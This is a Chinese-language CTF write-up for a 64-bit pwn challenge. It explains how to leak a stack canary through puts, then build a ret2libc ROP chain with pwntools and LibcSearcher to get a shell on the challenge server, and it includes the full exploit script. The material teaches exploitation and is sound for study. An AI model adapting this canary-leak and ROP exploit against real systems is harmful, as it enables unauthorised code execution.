首先checksec检查保护机制:
-64位程序
-重点看到开了栈溢出保护和栈不可执行保护
然后来到IDA里面看到反汇编代码:
这个函数点进去:
用gdb测试下来就是输入1可以储存payload,输入2打印payload,输入3退出程序
这里看到,利用case2和case1,就可以泄露出canary的值:
因为puts函数的特性是:遇到\x00才会停止输出,会一直打印内存中的数据直到碰到空字节,而canary的最低字节就是\x00,离s变量也是最近的,所以我们可以将canary的最低字节覆盖,这样就可以让puts把canary的值一并打印出来
由下面这张图可以看到,s离rsp的距离为0x10个字节,v6里rsp的距离为0x98字节,所以我们只需要构造长度为0x89的payload即可精准覆盖掉canary的最低位处的\x00字节:
然后由于没有发现任何后门函数和地址,只能通过泄露libc的方法来做这道题,这就需要构造rop链了,可以通过以下指令拿到ret和pop_rdi的地址:
ROPgadget --binary pwn --only "pop|ret"然后还需要去IDA中拿到main函数的地址,这里就不演示了
然后这道题还有一个需要注意的地方,这里发现payload泄露puts函数地址的时候,需要输入3退出循环才能拿到puts函数的地址,这时候main函数的地址就可以发挥作用,可以让我们再次进入循环以再次触发栈溢出:
io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3')然后拿到puts函数地址后就是计算libc基址进而计算处system和/bin/h地址了,然后下面是exp脚本:
from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 #gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29236) # 与在线环境交互。 offset = 0x89 ret_addr = 0x40067e rdi_addr = 0x400a93 main_addr = 0x400908 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'>>') io.sendline(b'1') payload = b'a'*(offset-2) + b'bc' io.send(payload) io.recvuntil(b'>>') io.sendline(b'2') io.recvuntil(b'aaabc') canary = u64(io.recv(7).rjust(8,b'\x00')) print(hex(canary)) io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3') puts_addr = io.recvline().strip() puts_addr = u64(puts_addr.ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3') io.interactive()最后拿到flag